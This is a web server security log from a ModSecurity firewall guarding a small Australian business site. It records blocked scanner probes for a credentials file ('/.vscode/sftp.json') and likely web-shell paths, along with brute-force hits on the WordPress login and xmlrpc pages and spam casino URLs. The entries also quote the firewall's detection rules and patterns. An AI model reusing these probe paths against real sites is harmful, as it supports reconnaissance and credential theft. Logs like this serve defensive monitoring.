[Mon Mar 16 08:23:07.619949 2026] [:error] [pid 12768:tid 12789] [client 103.65.237.124:50656] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "abdNa4vjhfol0SJym0_LQwAAAZA"]
[Mon Mar 16 08:42:51.102936 2026] [:error] [pid 1411:tid 1417] [client 111.172.249.49:49133] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abdSC9rCV4sh-le3M-2pJAAAAUQ"]
[Mon Mar 16 10:09:49.615418 2026] [:error] [pid 62429:tid 62515] [client 18.190.217.12:63298] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "abdmbVewIPukhLCowEEmSgAAAJM"]
[Mon Mar 16 10:09:51.557065 2026] [:error] [pid 1411:tid 1415] [client 18.190.217.12:52422] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "abdmb9rCV4sh-le3M-3bCQAAAUI"]
[Mon Mar 16 10:09:52.590074 2026] [:error] [pid 62529:tid 62556] [client 18.190.217.12:54243] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "abdmcD84-luOVYZKK0PFAgAAANM"]
[Mon Mar 16 10:09:54.529886 2026] [:error] [pid 1411:tid 1423] [client 18.190.217.12:55687] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "abdmctrCV4sh-le3M-3bEAAAAUo"]
[Mon Mar 16 10:20:21.929570 2026] [:error] [pid 62119:tid 62128] [client 43.166.226.57:37062] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abdo5T-Co-Fir-PyAwe70wAAAMY"]
[Mon Mar 16 11:05:10.279601 2026] [:error] [pid 62510:tid 62526] [client 173.239.236.149:32833] [client 173.239.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "abdzZiE33_T9aKpoDdjpNwAAAQ0"]
[Mon Mar 16 11:05:10.478655 2026] [:error] [pid 62510:tid 62517] [client 173.239.236.1:61697] [client 173.239.236.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.1, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abdzZiE33_T9aKpoDdjpQgAAAQQ"]
[Mon Mar 16 11:05:11.833355 2026] [:error] [pid 62510:tid 62534] [client 173.239.236.1:61697] [client 173.239.236.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abdzZyE33_T9aKpoDdjpfQAAARU"]
[Mon Mar 16 11:05:12.279372 2026] [:error] [pid 62025:tid 62059] [client 173.239.236.223:45777] [client 173.239.236.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abdzaOimBfLmKh7zLXMB9gAAAEA"]
[Mon Mar 16 12:17:38.890249 2026] [:error] [pid 62025:tid 62080] [client 94.26.106.225:47326] [client 94.26.106.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/images/accesson.php"] [unique_id "abeEYuimBfLmKh7zLXMuegAAAFU"]
[Mon Mar 16 13:04:19.796013 2026] [:error] [pid 62510:tid 62517] [client 60.50.7.242:59841] [client 60.50.7.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 60.50.7.242, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abePUyE33_T9aKpoDdgXTAAAAQQ"]
[Mon Mar 16 13:04:21.371116 2026] [:error] [pid 62510:tid 62514] [client 103.240.204.49:61560] [client 103.240.204.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.204.49, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abePVSE33_T9aKpoDdgXUAAAAQE"]
[Mon Mar 16 15:28:30.820624 2026] [:error] [pid 9400:tid 9430] [client 43.157.172.39:40696] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abexHgSHzD8ZM8ddLEkVhgAAAg4"]
[Mon Mar 16 19:22:52.786276 2026] [:error] [pid 39154:tid 39158] [client 124.156.225.181:49144] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abfoDBgq1_qjm7J1LqsXfQAAAUE"]
[Mon Mar 16 19:54:33.735173 2026] [:error] [pid 35929:tid 35950] [client 64.89.163.113:63972] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvedW47dGpmA63hwSKvgAAANM"]
[Mon Mar 16 19:54:34.008776 2026] [:error] [pid 36198:tid 36217] [client 64.89.163.113:64728] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfveulL1GNckmsdWlMz1wAAARA"]
[Mon Mar 16 19:54:34.784613 2026] [:error] [pid 36198:tid 36221] [client 64.89.163.113:64101] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfveulL1GNckmsdWlMz4gAAARQ"]
[Mon Mar 16 19:54:35.104309 2026] [:error] [pid 39154:tid 39166] [client 64.89.163.113:49418] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvexgq1_qjm7J1LqsieQAAAUk"]
[Mon Mar 16 19:54:35.959063 2026] [:error] [pid 36198:tid 36211] [client 64.89.163.113:65509] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfve-lL1GNckmsdWlM0CQAAAQo"]
[Mon Mar 16 19:54:36.234382 2026] [:error] [pid 35839:tid 35872] [client 64.89.163.113:63960] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvfKxyv6h8-aZrncsJPgAAAEI"]
[Mon Mar 16 19:54:37.043120 2026] [:error] [pid 35838:tid 35865] [client 64.89.163.113:49931] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvfRroTe-x3JLtmo6WiwAAABc"]
[Mon Mar 16 19:54:37.324841 2026] [:error] [pid 35929:tid 35935] [client 64.89.163.113:63259] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvfdW47dGpmA63hwSK8wAAAMQ"]
[Mon Mar 16 19:54:38.177171 2026] [:error] [pid 36198:tid 36201] [client 64.89.163.113:63286] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvfulL1GNckmsdWlM0VQAAAQA"]
[Mon Mar 16 19:54:38.495085 2026] [:error] [pid 36198:tid 36213] [client 64.89.163.113:49411] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abfvfulL1GNckmsdWlM0YAAAAQw"]
[Mon Mar 16 20:15:32.295397 2026] [:error] [pid 39154:tid 39169] [client 43.164.195.17:35428] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abf0ZBgq1_qjm7J1LqsnWQAAAUw"]
[Mon Mar 16 21:42:24.065409 2026] [:error] [pid 39154:tid 39157] [client 173.239.224.113:54725] [client 173.239.224.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.113, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abgIwBgq1_qjm7J1Lqs--wAAAUA"]
[Mon Mar 16 21:42:26.414463 2026] [:error] [pid 35929:tid 35944] [client 173.239.224.108:46703] [client 173.239.224.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.108, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abgIwtW47dGpmA63hwSixQAAAM0"]
[Mon Mar 16 23:55:57.221070 2026] [:error] [pid 35839:tid 35872] [client 43.157.38.131:52238] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abgoDaxyv6h8-aZrncspBAAAAEI"]
[Tue Mar 17 02:30:49.164308 2026] [:error] [pid 45404:tid 45538] [client 216.73.216.20:35528] [client 216.73.216.20] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abhMWWcrPifELUd8UWAWbwAAABU"]
[Tue Mar 17 02:42:51.453392 2026] [:error] [pid 45404:tid 45527] [client 87.185.66.78:56149] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abhPK2crPifELUd8UWAaAAAAAAo"]
[Tue Mar 17 02:42:53.557701 2026] [:error] [pid 45652:tid 45676] [client 87.185.66.78:56185] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abhPLfeWZ4w4tc07R6lioAAAANU"]
[Tue Mar 17 02:43:00.567819 2026] [:error] [pid 3200:tid 3214] [client 87.185.66.78:56343] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abhPNFFOeKiNLMuAjedLyQAAAQw"]
[Tue Mar 17 02:43:05.564725 2026] [:error] [pid 9635:tid 9660] [client 87.185.66.78:56480] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abhPOXsAHChuwZxGaSgFoQAAAVc"]
[Tue Mar 17 02:43:08.880267 2026] [:error] [pid 45652:tid 45674] [client 87.185.66.78:56554] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abhPPPeWZ4w4tc07R6lisAAAANM"]
[Tue Mar 17 02:43:10.519394 2026] [:error] [pid 9635:tid 9637] [client 87.185.66.78:56582] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abhPPnsAHChuwZxGaSgFsAAAAUA"]
[Tue Mar 17 02:43:13.686831 2026] [:error] [pid 45404:tid 45517] [client 87.185.66.78:56669] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abhPQWcrPifELUd8UWAaJwAAAAA"]
[Tue Mar 17 02:43:15.161094 2026] [:error] [pid 3200:tid 3202] [client 87.185.66.78:56708] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abhPQ1FOeKiNLMuAjedL2AAAAQA"]
[Tue Mar 17 02:43:18.541549 2026] [:error] [pid 45404:tid 45533] [client 87.185.66.78:56784] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abhPRmcrPifELUd8UWAaLwAAABA"]
[Tue Mar 17 02:43:19.923560 2026] [:error] [pid 45424:tid 45557] [client 87.185.66.78:56804] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abhPR4By2Qv_YY3oWK7GvwAAAE0"]
[Tue Mar 17 02:43:23.330035 2026] [:error] [pid 9635:tid 9647] [client 87.185.66.78:56855] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abhPS3sAHChuwZxGaSgF2AAAAUo"]
[Tue Mar 17 02:43:24.753070 2026] [:error] [pid 45404:tid 45539] [client 87.185.66.78:56907] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abhPTGcrPifELUd8UWAaOwAAABY"]
[Tue Mar 17 02:43:28.547421 2026] [:error] [pid 45652:tid 45661] [client 87.185.66.78:57006] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abhPUPeWZ4w4tc07R6livgAAAMY"]
[Tue Mar 17 02:43:30.076559 2026] [:error] [pid 45424:tid 45557] [client 87.185.66.78:57039] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abhPUoBy2Qv_YY3oWK7GwwAAAE0"]
[Tue Mar 17 02:43:33.688372 2026] [:error] [pid 3200:tid 3224] [client 87.185.66.78:57111] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abhPVVFOeKiNLMuAjedL-gAAARY"]
[Tue Mar 17 02:43:35.062987 2026] [:error] [pid 45424:tid 45561] [client 87.185.66.78:57153] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abhPV4By2Qv_YY3oWK7GygAAAFE"]
[Tue Mar 17 02:43:39.972982 2026] [:error] [pid 45404:tid 45522] [client 87.185.66.78:57255] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abhPW2crPifELUd8UWAaWAAAAAU"]
[Tue Mar 17 02:43:41.391121 2026] [:error] [pid 45404:tid 45517] [client 87.185.66.78:57332] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abhPXWcrPifELUd8UWAaXAAAAAA"]
[Tue Mar 17 02:44:19.770822 2026] [:error] [pid 9635:tid 9637] [client 87.185.66.78:57763] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abhPg3sAHChuwZxGaSgGfQAAAUA"]
[Tue Mar 17 02:44:21.269932 2026] [:error] [pid 45450:tid 45575] [client 87.185.66.78:58059] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abhPhb164tBAS29wdMgr3QAAAIQ"]
[Tue Mar 17 02:44:23.886948 2026] [:error] [pid 45450:tid 45588] [client 87.185.66.78:58064] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abhPh7164tBAS29wdMgr4QAAAJE"]
[Tue Mar 17 02:44:30.205600 2026] [:error] [pid 45404:tid 45522] [client 87.185.66.78:58149] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abhPjmcrPifELUd8UWAanwAAAAU"]
